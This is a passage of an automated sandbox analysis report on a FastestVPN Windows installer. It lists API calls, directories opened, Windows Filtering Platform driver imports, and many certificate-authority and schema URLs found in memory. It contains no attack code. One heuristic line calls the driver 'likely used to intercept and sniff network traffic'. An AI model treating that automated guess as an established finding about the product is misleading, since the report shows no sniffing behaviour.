    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A6D3630 GetWindowsDirectoryW,FindFirstFileW,FindNextFileW,FindClose,10_2_00007FF76A6D3630
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 46_2_0103172D __EH_prolog,#540,#922,#858,#800,#2910,wcslen,#2910,wcslen,#823,GetLastError,_CxxThrowException,#2910,#2910,swprintf,FindFirstFileW,GetLastError,#825,#2910,FindFirstFileW,wcscmp,wcscmp,wcscmp,#535,#942,#942,#535,#942,#942,#800,FindNextFileW,FindClose,#800,46_2_0103172D
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 46_2_01031DDF __EH_prolog,#540,#925,#858,#800,#2910,wcslen,wcslen,#2910,wcslen,#823,GetLastError,_CxxThrowException,#2910,#2910,swprintf,FindFirstFileW,GetLastError,#825,#2910,FindFirstFileW,wcscmp,wcscmp,#540,#538,#922,#925,#858,#800,#800,#800,#925,#800,#858,#800,FindNextFileW,FindClose,#800,46_2_01031DDF
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_100163B0 GetLogicalDriveStringsW,QueryDosDeviceW,GetDriveTypeW,EnterCriticalSection,LeaveCriticalSection,31_2_100163B0
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\Jump to behavior

    Networking

    barindex
    NDIS Filter Driver detected (likely used to intercept and sniff network traffic)
    Source: is-3BVSP.tmp.2.drStatic PE information: Found NDIS imports: FwpmFreeMemory0, FwpmEngineOpen0, FwpmEngineClose0, FwpmTransactionBegin0, FwpmTransactionCommit0, FwpmTransactionAbort0, FwpmProviderAdd0, FwpmProviderContextDeleteByKey0, FwpmSubLayerAdd0, FwpmSubLayerDeleteByKey0, FwpmSubLayerCreateEnumHandle0, FwpmSubLayerEnum0, FwpmSubLayerDestroyEnumHandle0, FwpmCalloutAdd0, FwpmFilterAdd0, FwpsFlowAbort0, FwpsInjectionHandleCreate0, FwpsInjectionHandleDestroy0, FwpsRedirectHandleCreate0, FwpsFreeNetBufferList0, FwpsFreeCloneNetBufferList0, FwpsInjectNetworkSendAsync0, FwpsConstructIpHeaderForTransportPacket0, FwpsInjectTransportSendAsync0, FwpsInjectTransportReceiveAsync0, FwpsInjectNetworkReceiveAsync0, FwpsStreamInjectAsync0, FwpsCopyStreamDataToBuffer0, FwpmBfeStateGet0, FwpmBfeStateSubscribeChanges0, FwpmBfeStateUnsubscribeChanges0, FwpsFlowRemoveContext0, FwpsCompleteClassify0, FwpsRedirectHandleDestroy0, FwpsCloneStreamData0, FwpsDiscardClonedStreamData0, FwpsQueryPacketInjectionState0, FwpsApplyModifiedLayerData0, FwpsAcquireWritableLayerDataPointer0, FwpsReleaseClassifyHandle0, FwpsAcquireClassifyHandle0, FwpsFlowAssociateContext0, FwpsCalloutUnregisterByKey0, FwpsPendClassify0, FwpsCalloutRegister1, FwpsAllocateNetBufferAndNetBufferList0
    Source: is-5MIQQ.tmp.2.drStatic PE information: Found NDIS imports: FwpmFreeMemory0, FwpmEngineOpen0, FwpmEngineClose0, FwpmTransactionBegin0, FwpmTransactionCommit0, FwpmTransactionAbort0, FwpmProviderAdd0, FwpmProviderContextDeleteByKey0, FwpmSubLayerAdd0, FwpmSubLayerDeleteByKey0, FwpmSubLayerCreateEnumHandle0, FwpmSubLayerEnum0, FwpmSubLayerDestroyEnumHandle0, FwpmCalloutAdd0, FwpmFilterAdd0, FwpsFlowAbort0, FwpsInjectionHandleCreate0, FwpsInjectionHandleDestroy0, FwpsRedirectHandleCreate0, FwpsFreeNetBufferList0, FwpsFreeCloneNetBufferList0, FwpsInjectNetworkSendAsync0, FwpsConstructIpHeaderForTransportPacket0, FwpsInjectTransportSendAsync0, FwpsInjectTransportReceiveAsync0, FwpsInjectNetworkReceiveAsync0, FwpsStreamInjectAsync0, FwpsCopyStreamDataToBuffer0, FwpmBfeStateGet0, FwpmBfeStateSubscribeChanges0, FwpmBfeStateUnsubscribeChanges0, FwpsFlowRemoveContext0, FwpsCompleteClassify0, FwpsRedirectHandleDestroy0, FwpsCloneStreamData0, FwpsDiscardClonedStreamData0, FwpsQueryPacketInjectionState0, FwpsApplyModifiedLayerData0, FwpsAcquireWritableLayerDataPointer0, FwpsReleaseClassifyHandle0, FwpsAcquireClassifyHandle0, FwpsFlowAssociateContext0, FwpsCalloutUnregisterByKey0, FwpsPendClassify0, FwpsCalloutRegister1, FwpsAllocateNetBufferAndNetBufferList0
    Source: is-NHJNP.tmp.2.drStatic PE information: Found NDIS imports: FwpmFilterDeleteById0, FwpmSubLayerDeleteByKey0, FwpmSubLayerAdd0, FwpmEngineClose0, FwpmEngineOpen0, FwpmFilterAdd0, FwpmGetAppIdFromFileName0
    Source: svchost.exe, 0000002A.00000003.1997019702.000001B240D02000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/STS&lt;
    Source: svchost.exe, 0000002A.00000002.2722931341.000001B241A00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb
    Source: svchost.exe, 0000002A.00000002.2722931341.000001B241A00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb_
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2749038843.00000000081D1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://aia.entrust.net/ts2-chain256.p7c01
    Source: xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, fastestvpndriver.sys.30.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
    Source: is-2MRML.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
    Source: is-2MRML.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertCSRSA4096RootG5.crt0E
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757433218.000000000ACED000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2718141562.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
    Source: is-2MRML.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2047950883.0000000002916000.00000004.00000800.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-2MRML.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
    Source: is-2MRML.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA2.crt0
    Source: mnFHs2DuKg.exeString found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
    Source: mnFHs2DuKg.exeString found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://crl.entrust.net/csbr1.crl0
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/g2ca.c
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://crl.entrust.net/g2ca.crl0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2749038843.00000000081D1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://crl.entrust.net/ts2ca.crl0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
    Source: svchost.exe, 00000022.00000002.2726301119.00000296AE884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722013145.000001B240CC1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
    Source: xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, fastestvpndriver.sys.30.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
    Source: is-2MRML.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
    Source: xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, fastestvpndriver.sys.30.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
    Source: is-2MRML.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertCSRSA4096RootG5.crl0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757433218.000000000ACED000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2718141562.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
    Source: is-2MRML.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-2MRML.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
    Source: is-2MRML.tmp.2.drString found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0F
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.drString found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
    Source: xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, fastestvpndriver.sys.30.drString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
    Source: xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, fastestvpndriver.sys.30.drString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.drString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757433218.000000000ACED000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2718141562.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.dr, fastestvpndriver.sys.30.drString found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
    Source: is-2MRML.tmp.2.drString found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0=
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.dr, is-NJEU5.tmp.2.drString found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
    Source: mnFHs2DuKg.exeString found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
    Source: mnFHs2DuKg.exeString found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
    Source: mnFHs2DuKg.exeString found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
    Source: mnFHs2DuKg.exeString found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
    Source: FastestVPN.exe, 00000018.00000002.2754636491.000000000AB35000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
    Source: FastestVPN.exe, 00000018.00000002.2750552317.0000000008325000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.24.drString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
    Source: FastestVPN.exe, 00000018.00000002.2724414193.00000000027C3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/FastestVPN;component/Assets/Fonts/outfit-variablefont_wght.ttf
    Source: FastestVPN.exe, 00000018.00000002.2724414193.00000000027C3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/FastestVPN;component/Assets/Fonts/outfit-variablefont_wght.ttfd
    Source: svchost.exe, 0000002A.00000003.2016015198.000001B241553000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200
    Source: svchost.exe, 0000002A.00000002.2721032224.000001B240C13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722700288.000001B24157D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.2028093454.000001B241559000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722501840.000001B241500000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
    Source: svchost.exe, 0000002A.00000002.2722501840.000001B241500000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA
    Source: svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdchem
    Source: svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdcurity
    Source: svchost.exe, 0000002A.00000002.2721032224.000001B240C13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722700288.000001B24157D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.2015610899.000001B241554000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
    Source: svchost.exe, 0000002A.00000002.2722501840.000001B241500000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA
    Source: svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdJ
    Source: svchost.exe, 0000002A.00000003.2016130194.000001B24155D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.2015610899.000001B241558000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdecuri
    Source: svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdsa=
    Source: svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdsis-2
    Source: svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdsoa
    Source: svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdxml
